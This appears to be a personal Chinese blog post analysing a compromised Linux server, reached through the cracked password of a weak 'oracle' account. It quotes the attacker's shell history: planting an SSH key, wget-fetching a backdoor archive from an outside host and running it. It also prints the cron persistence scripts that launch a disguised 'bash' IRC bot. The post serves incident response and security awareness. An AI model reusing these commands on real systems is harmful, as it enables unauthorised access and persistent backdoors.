如今在互联网畅游的人们对于黑客并不陌生,“黑客”这样的字眼到处可见。然而大多数人也只是听说而已,本身并没有感到其危险性。即使那天自己的电脑被攻击了,也不知道问题到底出在那里,简单杀杀毒或者干脆重装OS 也就万事大吉了。我也一样,虽然知道黑客的可恶于厉害,也曾多次被弄得电脑很满,也处理过很多中毒的系统,然而由于这些系统都是Windows ,缺少相关记录日志,根本无法找到中毒的原因。
今天,我的Linux 主机突然登录不上去了,提示密码错误。奇怪了,重启后仍然提示密码错误。还好我的root 用户可以登录。root 登录后,马上查看联网状况,执行命令netstat -altn ,发现了大量的数据包发往多个IP 地址,其中有芬兰的,还有台湾的。这还了得!马上拔掉网线。继续查看/var/log/secure 记录,部分内容如下:
57281 Nov 21 08:20:32 CentOS-5 sshd[8214]: Accepted password for oracle from 10.10.10.1 port 55560 ssh2
57282 Nov 21 08:20:32 CentOS-5 sshd[8214]: pam_unix(sshd:session): session opened for user oracle by (uid=0)
57283 Nov 21 08:20:59 CentOS-5 passwd: pam_unix(passwd:chauthtok): password changed for oracle
57284 Nov 21 10:34:21 CentOS-5 sshd[8214]: pam_unix(sshd:session): session closed for user oracle
很明显,oracle 用户在8 :20 :32 通过sshd 登录了系统,并自己修改了密码。而这段时间,我根本没有登录过系统,oracle 帐户密码被破解了!
再看/home/oracle/.bash_history 记录包含如下内容:
5 passwd
476 cd .ssh
477 mkdir .ssh
478 echo ssh-rsa
AAAAB3NzaC1yc2EAAAABJQAAAIBSUxeR1W95aH+iJwXRJaswx6YwqqZPk2BBLaGoJR5vnLARZbpMZzxfjo9wwed/FONEcnZFVo0eTkaZ
+xDaC8eDvT0A4gRC2ahK7sCM17nbRvwGdXPIKismvz6Xqp7mLRf+I2jI6xKq8lba96U6uUHtbiaRi814Iy
J3Q0It54KBwQ== rsa-key-20080201>> ~/.ssh/authorized_keys; chmod 700 ~/.ssh; chmod 600 ~/.ssh/authorized_keys
479 wget members.lycos.co.uk/mariusrf/ovi.tar.gz
480 tar xvf ovi.tar.gz
481 cd .img
482 chmod +x *
483 ./start supereg
这些操作我从来没有做过,所以肯定是那个黑客通过oracle 帐户做的,这些操作很明显就是建立了一个隐藏目录,然后下载了ovi.tar.gz 文件并解压,形成.img 目录,此目录下就是一些后门软件了。内容如下:
-rwxr-xr-x 1 oracle oinstall 317 2006-10-31 autorun
-rwxr-xr-x 1 oracle oinstall 492135 2006-10-31 bash
-rw-r--r-- 1 oracle oinstall 51 11-21 08:22 cron.d
-rw-r--r-- 1 oracle oinstall 891 11-21 16:47 Horsley.seen
-rwxr-xr-x 1 oracle oinstall 14059 11-07 18:44 inst
-rwxr-xr-x 1 oracle oinstall 34 11-21 16:25 LinkEvents
-rw-r--r-- 1 oracle oinstall 18 11-21 08:22 mech.dir
-rwxr-xr-x 1 oracle oinstall 22882 2006-10-31 m.help
-rw-r--r-- 1 oracle oinstall 1043 11-21 16:47 m.lev
-rw------- 1 oracle oinstall 5 11-21 16:25 m.pid
-rw-r--r-- 1 oracle oinstall 1279 11-21 16:47 m.ses
-rw-r--r-- 1 oracle oinstall 1900 11-21 08:22 m.set
drwxr-xr-x 2 oracle oinstall 4096 2009-01-09 r
-rwxr-xr-x 1 oracle oinstall 29 2006-10-31 run
-rwxr-xr-x 1 oracle oinstall 815 2006-10-31 start
-rw-r--r-- 1 oracle oinstall 1182 11-21 16:47 Untermeyer.seen
-rwxr--r-- 1 oracle oinstall 181 11-21 08:23 update
-rw-r--r-- 1 oracle oinstall 14 11-21 08:22 vhosts
-rwxr-xr-x 1 oracle oinstall 21516 2008-07-11 xh
再看看oracle 用户的最后一个操作,./start supereg 。这是个脚本文件内容部分如下:
47 ./autorun
48 ./run
很明显,执行了两个程序,先看autorun :
#!/bin/sh
pwd> mech.dir
dir=$(cat mech.dir)
echo "* * * * * $dir/update >/dev/null 2>&1" > cron.d
crontab cron.d
这些命令的作用就是定时启动命令程序update ,再看update 的内容:
cd /home/oracle/.img
./run&> /dev/null
运行run 程序,再看run 到底是什么:
#!/bin/sh
export PATH=.
bash
就在这里了,启动.imge/bash 程序。很明显这里的bash 是个与系统同名的假程序。为了不引起用户的注意起了bash 这个名字。好了,总结以上,黑客做了一件工作,那就是定时启动./imge/bash 。那么到底这个bash 是个什么文件呢?上传到http://www.virustotal.com 检测结果如下:
Antivirus Version Last Update Result
a-squared 4.5.0.41 2009.11.21 Riskware.NetTool.Unix.Mech!IK A
hnLab-V3 5.0.0.2 2009.11.20 -
AntiVir 7.9.1.72 2009.11.20 SPR/Unix.Mech.A
很明显,这是个病毒程序。再看./img/m.set 如下:
SERVER 194.x.20.x 6660
SERVER 193.x.122.x 6666
SERVER 195.x.12.x 7000
SERVER 129.x.9.x 6660
SERVER 195.x.175.x 7000
还有很多,记录了需要攻击的IP 地址(为了隐私有些数字用x 代替)。这个bash 程序不断的发起到这些IP 地址的连接,然而执行黑客的邪恶目的。
分析完了这些操作,解决方法也就容易了。
首先马上更改oracle 用户密码,然后Crontab -r 把定时启动bash 关闭,重启系统。接上网线,再用netstat -altu 查看联网情况,无一个连接,说明黑客程序没有启动。
结论:
1 密码一定要精心设置,由于懒惰我安装oracle 时设定了一个很简单的密码,很容易就被黑客破解了,最终导致系统被登录。
2 经常查看日志记录,尽早发现问题。要不是因为oracle 用户不能登录,说不定很长时间都不能发现问题。也许这次是黑客警告我了,下次可能会更加隐秘。
希望我的这次教训能给大家提个醒,认真做好系统安全工作决不是个小问题!
https://www.virustotal.com/#/home/upload 检测文件是否是病毒文件网站